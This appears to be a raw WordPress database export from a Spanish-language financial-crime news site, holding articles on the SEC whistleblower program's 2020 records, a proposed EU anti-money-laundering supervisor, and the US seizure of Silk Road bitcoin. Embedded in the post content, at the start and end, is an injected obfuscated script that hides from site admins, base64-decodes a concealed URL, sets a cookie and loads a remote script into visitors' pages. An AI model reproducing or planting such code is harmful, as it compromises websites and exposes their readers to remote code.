Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; 